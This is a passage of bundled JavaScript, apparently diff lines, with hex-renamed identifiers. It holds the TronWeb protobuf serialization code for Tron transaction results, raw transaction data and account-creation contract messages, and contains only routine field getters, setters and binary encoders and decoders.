- TronWebProto.Transaction.Contract.prototype.getContractname_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getContractname());
- };
- TronWebProto.Transaction.Contract.prototype.setContractname = function (_0x69f582) {
- return _0x5b4e64.Message.setProto3BytesField(this, 4, _0x69f582);
- };
- TronWebProto.Transaction.Contract.prototype.getPermissionId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.Transaction.Contract.prototype.setPermissionId = function (_0x2cbbf0) {
- return _0x5b4e64.Message.setProto3IntField(this, 5, _0x2cbbf0);
- };
- TronWebProto.Transaction.Result.repeatedFields_ = [26];
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Transaction.Result.prototype.toObject = function (_0x125aea) {
- return TronWebProto.Transaction.Result.toObject(_0x125aea, this);
- }, TronWebProto.Transaction.Result.toObject = function (_0x309f06, _0x3333b1) {
- var _0x500956 = {
- fee: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 1, 0),
- ret: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 2, 0),
- contractret: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 3, 0),
- assetissueid: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 14, ""),
- withdrawAmount: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 15, 0),
- unfreezeAmount: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 16, 0),
- exchangeReceivedAmount: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 18, 0),
- exchangeInjectAnotherAmount: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 19, 0),
- exchangeWithdrawAnotherAmount: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 20, 0),
- exchangeId: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 21, 0),
- shieldedTransactionFee: _0x5b4e64.Message.getFieldWithDefault(_0x3333b1, 22, 0),
- orderid: _0x3333b1.getOrderid_asB64(),
- orderdetailsList: _0x5b4e64.Message.toObjectList(_0x3333b1.getOrderdetailsList(), TronWebProto.MarketOrderDetail.toObject, _0x309f06)
- };
- _0x309f06 && (_0x500956.$jspbMessageInstance = _0x3333b1);
- return _0x500956;
- });
- TronWebProto.Transaction.Result.deserializeBinary = function (_0x56bb0c) {
- var _0x4a79c0 = new _0x5b4e64.BinaryReader(_0x56bb0c);
- var _0xdd612a = new TronWebProto.Transaction.Result();
- return TronWebProto.Transaction.Result.deserializeBinaryFromReader(_0xdd612a, _0x4a79c0);
- };
- TronWebProto.Transaction.Result.deserializeBinaryFromReader = function (_0x281f32, _0x411bb6) {
- for (; _0x411bb6.nextField() && !_0x411bb6.isEndGroup();) {
- switch (_0x411bb6.getFieldNumber()) {
- case 1:
- var _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setFee(_0x2cd03b);
- break;
- case 2:
- _0x2cd03b = _0x411bb6.readEnum();
- _0x281f32.setRet(_0x2cd03b);
- break;
- case 3:
- _0x2cd03b = _0x411bb6.readEnum();
- _0x281f32.setContractret(_0x2cd03b);
- break;
- case 14:
- _0x2cd03b = _0x411bb6.readString();
- _0x281f32.setAssetissueid(_0x2cd03b);
- break;
- case 15:
- _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setWithdrawAmount(_0x2cd03b);
- break;
- case 16:
- _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setUnfreezeAmount(_0x2cd03b);
- break;
- case 18:
- _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setExchangeReceivedAmount(_0x2cd03b);
- break;
- case 19:
- _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setExchangeInjectAnotherAmount(_0x2cd03b);
- break;
- case 20:
- _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setExchangeWithdrawAnotherAmount(_0x2cd03b);
- break;
- case 21:
- _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setExchangeId(_0x2cd03b);
- break;
- case 22:
- _0x2cd03b = _0x411bb6.readInt64();
- _0x281f32.setShieldedTransactionFee(_0x2cd03b);
- break;
- case 25:
- _0x2cd03b = _0x411bb6.readBytes();
- _0x281f32.setOrderid(_0x2cd03b);
- break;
- case 26:
- _0x2cd03b = new TronWebProto.MarketOrderDetail();
- _0x411bb6.readMessage(_0x2cd03b, TronWebProto.MarketOrderDetail.deserializeBinaryFromReader);
- _0x281f32.addOrderdetails(_0x2cd03b);
- break;
- default:
- _0x411bb6.skipField();
- }
- }
- return _0x281f32;
- };
- TronWebProto.Transaction.Result.prototype.serializeBinary = function () {
- var _0x594f99 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Transaction.Result.serializeBinaryToWriter(this, _0x594f99);
- return _0x594f99.getResultBuffer();
- };
- TronWebProto.Transaction.Result.serializeBinaryToWriter = function (_0x1e0b6c, _0x40e692) {
- var _0x2b0cd6 = undefined;
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getFee()) && _0x40e692.writeInt64(1, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getRet()) && _0x40e692.writeEnum(2, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getContractret()) && _0x40e692.writeEnum(3, _0x2b0cd6);
- (_0x2b0cd6 = _0x1e0b6c.getAssetissueid()).length > 0 && _0x40e692.writeString(14, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getWithdrawAmount()) && _0x40e692.writeInt64(15, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getUnfreezeAmount()) && _0x40e692.writeInt64(16, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getExchangeReceivedAmount()) && _0x40e692.writeInt64(18, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getExchangeInjectAnotherAmount()) && _0x40e692.writeInt64(19, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getExchangeWithdrawAnotherAmount()) && _0x40e692.writeInt64(20, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getExchangeId()) && _0x40e692.writeInt64(21, _0x2b0cd6);
- 0 !== (_0x2b0cd6 = _0x1e0b6c.getShieldedTransactionFee()) && _0x40e692.writeInt64(22, _0x2b0cd6);
- (_0x2b0cd6 = _0x1e0b6c.getOrderid_asU8()).length > 0 && _0x40e692.writeBytes(25, _0x2b0cd6);
- (_0x2b0cd6 = _0x1e0b6c.getOrderdetailsList()).length > 0 && _0x40e692.writeRepeatedMessage(26, _0x2b0cd6, TronWebProto.MarketOrderDetail.serializeBinaryToWriter);
- };
- TronWebProto.Transaction.Result.code = {
- SUCESS: 0,
- FAILED: 1
- };
- TronWebProto.Transaction.Result.contractResult = {
- DEFAULT: 0,
- SUCCESS: 1,
- REVERT: 2,
- BAD_JUMP_DESTINATION: 3,
- OUT_OF_MEMORY: 4,
- PRECOMPILED_CONTRACT: 5,
- STACK_TOO_SMALL: 6,
- STACK_TOO_LARGE: 7,
- ILLEGAL_OPERATION: 8,
- STACK_OVERFLOW: 9,
- OUT_OF_ENERGY: 10,
- OUT_OF_TIME: 11,
- JVM_STACK_OVER_FLOW: 12,
- UNKNOWN: 13,
- TRANSFER_FAILED: 14,
- INVALID_CODE: 15
- };
- TronWebProto.Transaction.Result.prototype.getFee = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.Transaction.Result.prototype.setFee = function (_0x378683) {
- return _0x5b4e64.Message.setProto3IntField(this, 1, _0x378683);
- };
- TronWebProto.Transaction.Result.prototype.getRet = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.Transaction.Result.prototype.setRet = function (_0x4a9362) {
- return _0x5b4e64.Message.setProto3EnumField(this, 2, _0x4a9362);
- };
- TronWebProto.Transaction.Result.prototype.getContractret = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.Transaction.Result.prototype.setContractret = function (_0x58e5c3) {
- return _0x5b4e64.Message.setProto3EnumField(this, 3, _0x58e5c3);
- };
- TronWebProto.Transaction.Result.prototype.getAssetissueid = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 14, "");
- };
- TronWebProto.Transaction.Result.prototype.setAssetissueid = function (_0x8a2137) {
- return _0x5b4e64.Message.setProto3StringField(this, 14, _0x8a2137);
- };
- TronWebProto.Transaction.Result.prototype.getWithdrawAmount = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 15, 0);
- };
- TronWebProto.Transaction.Result.prototype.setWithdrawAmount = function (_0x2b750b) {
- return _0x5b4e64.Message.setProto3IntField(this, 15, _0x2b750b);
- };
- TronWebProto.Transaction.Result.prototype.getUnfreezeAmount = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 16, 0);
- };
- TronWebProto.Transaction.Result.prototype.setUnfreezeAmount = function (_0x4c7a98) {
- return _0x5b4e64.Message.setProto3IntField(this, 16, _0x4c7a98);
- };
- TronWebProto.Transaction.Result.prototype.getExchangeReceivedAmount = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 18, 0);
- };
- TronWebProto.Transaction.Result.prototype.setExchangeReceivedAmount = function (_0x4da85e) {
- return _0x5b4e64.Message.setProto3IntField(this, 18, _0x4da85e);
- };
- TronWebProto.Transaction.Result.prototype.getExchangeInjectAnotherAmount = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 19, 0);
- };
- TronWebProto.Transaction.Result.prototype.setExchangeInjectAnotherAmount = function (_0x50bc9d) {
- return _0x5b4e64.Message.setProto3IntField(this, 19, _0x50bc9d);
- };
- TronWebProto.Transaction.Result.prototype.getExchangeWithdrawAnotherAmount = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 20, 0);
- };
- TronWebProto.Transaction.Result.prototype.setExchangeWithdrawAnotherAmount = function (_0x2254be) {
- return _0x5b4e64.Message.setProto3IntField(this, 20, _0x2254be);
- };
- TronWebProto.Transaction.Result.prototype.getExchangeId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 21, 0);
- };
- TronWebProto.Transaction.Result.prototype.setExchangeId = function (_0x1b92f2) {
- return _0x5b4e64.Message.setProto3IntField(this, 21, _0x1b92f2);
- };
- TronWebProto.Transaction.Result.prototype.getShieldedTransactionFee = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 22, 0);
- };
- TronWebProto.Transaction.Result.prototype.setShieldedTransactionFee = function (_0x2abb8b) {
- return _0x5b4e64.Message.setProto3IntField(this, 22, _0x2abb8b);
- };
- TronWebProto.Transaction.Result.prototype.getOrderid = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 25, "");
- };
- TronWebProto.Transaction.Result.prototype.getOrderid_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getOrderid());
- };
- TronWebProto.Transaction.Result.prototype.getOrderid_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getOrderid());
- };
- TronWebProto.Transaction.Result.prototype.setOrderid = function (_0x22746e) {
- return _0x5b4e64.Message.setProto3BytesField(this, 25, _0x22746e);
- };
- TronWebProto.Transaction.Result.prototype.getOrderdetailsList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.MarketOrderDetail, 26);
- };
- TronWebProto.Transaction.Result.prototype.setOrderdetailsList = function (_0x3f1e78) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 26, _0x3f1e78);
- };
- TronWebProto.Transaction.Result.prototype.addOrderdetails = function (_0x293021, _0x1933d1) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 26, _0x293021, TronWebProto.MarketOrderDetail, _0x1933d1);
- };
- TronWebProto.Transaction.Result.prototype.clearOrderdetailsList = function () {
- return this.setOrderdetailsList([]);
- };
- TronWebProto.Transaction.raw.repeatedFields_ = [9, 11];
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Transaction.raw.prototype.toObject = function (_0x565d65) {
- return TronWebProto.Transaction.raw.toObject(_0x565d65, this);
- }, TronWebProto.Transaction.raw.toObject = function (_0x504055, _0x47f53e) {
- var _0x3bc435 = {
- refBlockBytes: _0x47f53e.getRefBlockBytes_asB64(),
- refBlockNum: _0x5b4e64.Message.getFieldWithDefault(_0x47f53e, 3, 0),
- refBlockHash: _0x47f53e.getRefBlockHash_asB64(),
- expiration: _0x5b4e64.Message.getFieldWithDefault(_0x47f53e, 8, 0),
- authsList: _0x5b4e64.Message.toObjectList(_0x47f53e.getAuthsList(), TronWebProto.authority.toObject, _0x504055),
- data: _0x47f53e.getData_asB64(),
- contractList: _0x5b4e64.Message.toObjectList(_0x47f53e.getContractList(), TronWebProto.Transaction.Contract.toObject, _0x504055),
- scripts: _0x47f53e.getScripts_asB64(),
- timestamp: _0x5b4e64.Message.getFieldWithDefault(_0x47f53e, 14, 0),
- feeLimit: _0x5b4e64.Message.getFieldWithDefault(_0x47f53e, 18, 0)
- };
- _0x504055 && (_0x3bc435.$jspbMessageInstance = _0x47f53e);
- return _0x3bc435;
- });
- TronWebProto.Transaction.raw.deserializeBinary = function (_0x586545) {
- var _0xf12b2b = new _0x5b4e64.BinaryReader(_0x586545);
- var _0x6a79fe = new TronWebProto.Transaction.raw();
- return TronWebProto.Transaction.raw.deserializeBinaryFromReader(_0x6a79fe, _0xf12b2b);
- };
- TronWebProto.Transaction.raw.deserializeBinaryFromReader = function (_0x162653, _0x16712b) {
- for (; _0x16712b.nextField() && !_0x16712b.isEndGroup();) {
- switch (_0x16712b.getFieldNumber()) {
- case 1:
- var _0x42ce0a = _0x16712b.readBytes();
- _0x162653.setRefBlockBytes(_0x42ce0a);
- break;
- case 3:
- _0x42ce0a = _0x16712b.readInt64();
- _0x162653.setRefBlockNum(_0x42ce0a);
- break;
- case 4:
- _0x42ce0a = _0x16712b.readBytes();
- _0x162653.setRefBlockHash(_0x42ce0a);
- break;
- case 8:
- _0x42ce0a = _0x16712b.readInt64();
- _0x162653.setExpiration(_0x42ce0a);
- break;
- case 9:
- _0x42ce0a = new TronWebProto.authority();
- _0x16712b.readMessage(_0x42ce0a, TronWebProto.authority.deserializeBinaryFromReader);
- _0x162653.addAuths(_0x42ce0a);
- break;
- case 10:
- _0x42ce0a = _0x16712b.readBytes();
- _0x162653.setData(_0x42ce0a);
- break;
- case 11:
- _0x42ce0a = new TronWebProto.Transaction.Contract();
- _0x16712b.readMessage(_0x42ce0a, TronWebProto.Transaction.Contract.deserializeBinaryFromReader);
- _0x162653.addContract(_0x42ce0a);
- break;
- case 12:
- _0x42ce0a = _0x16712b.readBytes();
- _0x162653.setScripts(_0x42ce0a);
- break;
- case 14:
- _0x42ce0a = _0x16712b.readInt64();
- _0x162653.setTimestamp(_0x42ce0a);
- break;
- case 18:
- _0x42ce0a = _0x16712b.readInt64();
- _0x162653.setFeeLimit(_0x42ce0a);
- break;
- default:
- _0x16712b.skipField();
- }
- }
- return _0x162653;
- };
- TronWebProto.Transaction.raw.prototype.serializeBinary = function () {
- var _0x3a9efa = new _0x5b4e64.BinaryWriter();
- TronWebProto.Transaction.raw.serializeBinaryToWriter(this, _0x3a9efa);
- return _0x3a9efa.getResultBuffer();
- };
- TronWebProto.Transaction.raw.serializeBinaryToWriter = function (_0x1b5441, _0x1c0b57) {
- var _0x21df2f = undefined;
- (_0x21df2f = _0x1b5441.getRefBlockBytes_asU8()).length > 0 && _0x1c0b57.writeBytes(1, _0x21df2f);
- 0 !== (_0x21df2f = _0x1b5441.getRefBlockNum()) && _0x1c0b57.writeInt64(3, _0x21df2f);
- (_0x21df2f = _0x1b5441.getRefBlockHash_asU8()).length > 0 && _0x1c0b57.writeBytes(4, _0x21df2f);
- 0 !== (_0x21df2f = _0x1b5441.getExpiration()) && _0x1c0b57.writeInt64(8, _0x21df2f);
- (_0x21df2f = _0x1b5441.getAuthsList()).length > 0 && _0x1c0b57.writeRepeatedMessage(9, _0x21df2f, TronWebProto.authority.serializeBinaryToWriter);
- (_0x21df2f = _0x1b5441.getData_asU8()).length > 0 && _0x1c0b57.writeBytes(10, _0x21df2f);
- (_0x21df2f = _0x1b5441.getContractList()).length > 0 && _0x1c0b57.writeRepeatedMessage(11, _0x21df2f, TronWebProto.Transaction.Contract.serializeBinaryToWriter);
- (_0x21df2f = _0x1b5441.getScripts_asU8()).length > 0 && _0x1c0b57.writeBytes(12, _0x21df2f);
- 0 !== (_0x21df2f = _0x1b5441.getTimestamp()) && _0x1c0b57.writeInt64(14, _0x21df2f);
- 0 !== (_0x21df2f = _0x1b5441.getFeeLimit()) && _0x1c0b57.writeInt64(18, _0x21df2f);
- };
- TronWebProto.Transaction.raw.prototype.getRefBlockBytes = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.Transaction.raw.prototype.getRefBlockBytes_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getRefBlockBytes());
- };
- TronWebProto.Transaction.raw.prototype.getRefBlockBytes_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getRefBlockBytes());
- };
- TronWebProto.Transaction.raw.prototype.setRefBlockBytes = function (_0xf8f9d2) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0xf8f9d2);
- };
- TronWebProto.Transaction.raw.prototype.getRefBlockNum = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.Transaction.raw.prototype.setRefBlockNum = function (_0x3da60f) {
- return _0x5b4e64.Message.setProto3IntField(this, 3, _0x3da60f);
- };
- TronWebProto.Transaction.raw.prototype.getRefBlockHash = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.Transaction.raw.prototype.getRefBlockHash_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getRefBlockHash());
- };
- TronWebProto.Transaction.raw.prototype.getRefBlockHash_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getRefBlockHash());
- };
- TronWebProto.Transaction.raw.prototype.setRefBlockHash = function (_0x45fedb) {
- return _0x5b4e64.Message.setProto3BytesField(this, 4, _0x45fedb);
- };
- TronWebProto.Transaction.raw.prototype.getExpiration = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 8, 0);
- };
- TronWebProto.Transaction.raw.prototype.setExpiration = function (_0x3a8cbe) {
- return _0x5b4e64.Message.setProto3IntField(this, 8, _0x3a8cbe);
- };
- TronWebProto.Transaction.raw.prototype.getAuthsList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.authority, 9);
- };
- TronWebProto.Transaction.raw.prototype.setAuthsList = function (_0x4f761d) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 9, _0x4f761d);
- };
- TronWebProto.Transaction.raw.prototype.addAuths = function (_0x928dfe, _0x21290f) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 9, _0x928dfe, TronWebProto.authority, _0x21290f);
- };
- TronWebProto.Transaction.raw.prototype.clearAuthsList = function () {
- return this.setAuthsList([]);
- };
- TronWebProto.Transaction.raw.prototype.getData = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 10, "");
- };
- TronWebProto.Transaction.raw.prototype.getData_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getData());
- };
- TronWebProto.Transaction.raw.prototype.getData_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getData());
- };
- TronWebProto.Transaction.raw.prototype.setData = function (_0x211bc2) {
- return _0x5b4e64.Message.setProto3BytesField(this, 10, _0x211bc2);
- };
- TronWebProto.Transaction.raw.prototype.getContractList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Transaction.Contract, 11);
- };
- TronWebProto.Transaction.raw.prototype.setContractList = function (_0x4869d1) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 11, _0x4869d1);
- };
- TronWebProto.Transaction.raw.prototype.addContract = function (_0x2ded8c, _0x298a58) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 11, _0x2ded8c, TronWebProto.Transaction.Contract, _0x298a58);
- };
- TronWebProto.Transaction.raw.prototype.clearContractList = function () {
- return this.setContractList([]);
- };
- TronWebProto.Transaction.raw.prototype.getScripts = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 12, "");
- };
- TronWebProto.Transaction.raw.prototype.getScripts_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getScripts());
- };
- TronWebProto.Transaction.raw.prototype.getScripts_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getScripts());
- };
- TronWebProto.Transaction.raw.prototype.setScripts = function (_0x5a1e42) {
- return _0x5b4e64.Message.setProto3BytesField(this, 12, _0x5a1e42);
- };
- TronWebProto.Transaction.raw.prototype.getTimestamp = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 14, 0);
- };
- TronWebProto.Transaction.raw.prototype.setTimestamp = function (_0x1db2e9) {
- return _0x5b4e64.Message.setProto3IntField(this, 14, _0x1db2e9);
- };
- TronWebProto.Transaction.raw.prototype.getFeeLimit = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 18, 0);
- };
- TronWebProto.Transaction.raw.prototype.setFeeLimit = function (_0x3edbdf) {
- return _0x5b4e64.Message.setProto3IntField(this, 18, _0x3edbdf);
- };
- TronWebProto.Transaction.prototype.getRawData = function () {
- return _0x5b4e64.Message.getWrapperField(this, TronWebProto.Transaction.raw, 1);
- };
- TronWebProto.Transaction.prototype.setRawData = function (_0x36af31) {
- return _0x5b4e64.Message.setWrapperField(this, 1, _0x36af31);
- };
- TronWebProto.Transaction.prototype.clearRawData = function () {
- return this.setRawData(undefined);
- };
- TronWebProto.Transaction.prototype.hasRawData = function () {
- return null != _0x5b4e64.Message.getField(this, 1);
- };
- TronWebProto.Transaction.prototype.getSignatureList = function () {
- return _0x5b4e64.Message.getRepeatedField(this, 2);
- };
- TronWebProto.Transaction.prototype.getSignatureList_asB64 = function () {
- return _0x5b4e64.Message.bytesListAsB64(this.getSignatureList());
- };
- TronWebProto.Transaction.prototype.getSignatureList_asU8 = function () {
- return _0x5b4e64.Message.bytesListAsU8(this.getSignatureList());
- };
- TronWebProto.Transaction.prototype.setSignatureList = function (_0x4a400d) {
- return _0x5b4e64.Message.setField(this, 2, _0x4a400d || []);
- };
- TronWebProto.Transaction.prototype.addSignature = function (_0x295e68, _0x24095f) {
- return _0x5b4e64.Message.addToRepeatedField(this, 2, _0x295e68, _0x24095f);
- };
- TronWebProto.Transaction.prototype.clearSignatureList = function () {
- return this.setSignatureList([]);
- };
- TronWebProto.Transaction.prototype.getRetList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Transaction.Result, 5);
- };
- TronWebProto.Transaction.prototype.setRetList = function (_0x48b004) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 5, _0x48b004);
- };
- TronWebProto.Transaction.prototype.addRet = function (_0x4b4243, _0x951b56) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 5, _0x4b4243, TronWebProto.Transaction.Result, _0x951b56);
- };
- TronWebProto.Transaction.prototype.clearRetList = function () {
- return this.setRetList([]);
- };
- TronWebProto.AccountType = {
- NORMAL: 0,
- ASSETISSUE: 1,
- CONTRACT: 2
- };
- _0x30c00e.object.extend(_0x3bb5b1, TronWebProto);
- },
- 956: (_0x100dd1, _0x2156bb, _0x3b13fe) => {
- var _0x33432c = _0x3b13fe(5595);
- var _0x24f249 = _0x33432c;
- var _0x459d78 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x459d78 && _0x459d78 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- var _0x5250b4 = _0x3b13fe(8020);
- _0x24f249.object.extend(proto, _0x5250b4);
- _0x24f249.exportSymbol("TronWebProto.AccountCreateContract", null, _0x459d78);
- _0x24f249.exportSymbol("TronWebProto.AccountPermissionUpdateContract", null, _0x459d78);
- _0x24f249.exportSymbol("TronWebProto.AccountUpdateContract", null, _0x459d78);
- _0x24f249.exportSymbol("TronWebProto.SetAccountIdContract", null, _0x459d78);
- TronWebProto.AccountCreateContract = function (_0x25ae7a) {
- _0x33432c.Message.initialize(this, _0x25ae7a, 0, -1, null, null);
- };
- _0x24f249.inherits(TronWebProto.AccountCreateContract, _0x33432c.Message);
- _0x24f249.DEBUG && !COMPILED && (TronWebProto.AccountCreateContract.displayName = "TronWebProto.AccountCreateContract");
- TronWebProto.AccountUpdateContract = function (_0x4a83e7) {
- _0x33432c.Message.initialize(this, _0x4a83e7, 0, -1, null, null);
- };
- _0x24f249.inherits(TronWebProto.AccountUpdateContract, _0x33432c.Message);
- _0x24f249.DEBUG && !COMPILED && (TronWebProto.AccountUpdateContract.displayName = "TronWebProto.AccountUpdateContract");
- TronWebProto.SetAccountIdContract = function (_0xe6526e) {
- _0x33432c.Message.initialize(this, _0xe6526e, 0, -1, null, null);
- };
- _0x24f249.inherits(TronWebProto.SetAccountIdContract, _0x33432c.Message);
- _0x24f249.DEBUG && !COMPILED && (TronWebProto.SetAccountIdContract.displayName = "TronWebProto.SetAccountIdContract");
- TronWebProto.AccountPermissionUpdateContract = function (_0x334d79) {
- _0x33432c.Message.initialize(this, _0x334d79, 0, -1, TronWebProto.AccountPermissionUpdateContract.repeatedFields_, null);
- };
- _0x24f249.inherits(TronWebProto.AccountPermissionUpdateContract, _0x33432c.Message);
- _0x24f249.DEBUG && !COMPILED && (TronWebProto.AccountPermissionUpdateContract.displayName = "TronWebProto.AccountPermissionUpdateContract");
- _0x33432c.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountCreateContract.prototype.toObject = function (_0x31424a) {
- return TronWebProto.AccountCreateContract.toObject(_0x31424a, this);
- }, TronWebProto.AccountCreateContract.toObject = function (_0x4d1d1c, _0x4a643b) {
- var _0x37ebcc = {
- ownerAddress: _0x4a643b.getOwnerAddress_asB64(),
- accountAddress: _0x4a643b.getAccountAddress_asB64(),
- type: _0x33432c.Message.getFieldWithDefault(_0x4a643b, 3, 0)
- };
- _0x4d1d1c && (_0x37ebcc.$jspbMessageInstance = _0x4a643b);
- return _0x37ebcc;
- });
- TronWebProto.AccountCreateContract.deserializeBinary = function (_0x333c28) {
- var _0x500109 = new _0x33432c.BinaryReader(_0x333c28);
- var _0x1979bd = new TronWebProto.AccountCreateContract();
- return TronWebProto.AccountCreateContract.deserializeBinaryFromReader(_0x1979bd, _0x500109);
- };
- TronWebProto.AccountCreateContract.deserializeBinaryFromReader = function (_0x16bf2c, _0x393351) {
- for (; _0x393351.nextField() && !_0x393351.isEndGroup();) {
- switch (_0x393351.getFieldNumber()) {
- case 1:
- var _0x120db4 = _0x393351.readBytes();
- _0x16bf2c.setOwnerAddress(_0x120db4);
- break;
- case 2:
- _0x120db4 = _0x393351.readBytes();
- _0x16bf2c.setAccountAddress(_0x120db4);
- break;
- case 3:
- _0x120db4 = _0x393351.readEnum();
- _0x16bf2c.setType(_0x120db4);
- break;
- default:
- _0x393351.skipField();
- }
- }
- return _0x16bf2c;
- };
- TronWebProto.AccountCreateContract.prototype.serializeBinary = function () {
- var _0x3fa8ad = new _0x33432c.BinaryWriter();
- TronWebProto.AccountCreateContract.serializeBinaryToWriter(this, _0x3fa8ad);
- return _0x3fa8ad.getResultBuffer();
- };
- TronWebProto.AccountCreateContract.serializeBinaryToWriter = function (_0x4e3b0e, _0x2fa8cc) {
- var _0x9393ea = undefined;
- (_0x9393ea = _0x4e3b0e.getOwnerAddress_asU8()).length > 0 && _0x2fa8cc.writeBytes(1, _0x9393ea);
- (_0x9393ea = _0x4e3b0e.getAccountAddress_asU8()).length > 0 && _0x2fa8cc.writeBytes(2, _0x9393ea);
- 0 !== (_0x9393ea = _0x4e3b0e.getType()) && _0x2fa8cc.writeEnum(3, _0x9393ea);
- };
- TronWebProto.AccountCreateContract.prototype.getOwnerAddress = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.AccountCreateContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x33432c.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.AccountCreateContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x33432c.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.AccountCreateContract.prototype.setOwnerAddress = function (_0x4fff76) {
- return _0x33432c.Message.setProto3BytesField(this, 1, _0x4fff76);
- };
- TronWebProto.AccountCreateContract.prototype.getAccountAddress = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.AccountCreateContract.prototype.getAccountAddress_asB64 = function () {
- return _0x33432c.Message.bytesAsB64(this.getAccountAddress());
- };
- TronWebProto.AccountCreateContract.prototype.getAccountAddress_asU8 = function () {
- return _0x33432c.Message.bytesAsU8(this.getAccountAddress());
- };
- TronWebProto.AccountCreateContract.prototype.setAccountAddress = function (_0x581b8b) {
- return _0x33432c.Message.setProto3BytesField(this, 2, _0x581b8b);
- };
- TronWebProto.AccountCreateContract.prototype.getType = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.AccountCreateContract.prototype.setType = function (_0x2cb491) {
- return _0x33432c.Message.setProto3EnumField(this, 3, _0x2cb491);
- };
- _0x33432c.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountUpdateContract.prototype.toObject = function (_0x5d664f) {
- return TronWebProto.AccountUpdateContract.toObject(_0x5d664f, this);
- }, TronWebProto.AccountUpdateContract.toObject = function (_0x1b1d97, _0x1711fd) {
- var _0x30a814 = {
- accountName: _0x1711fd.getAccountName_asB64(),
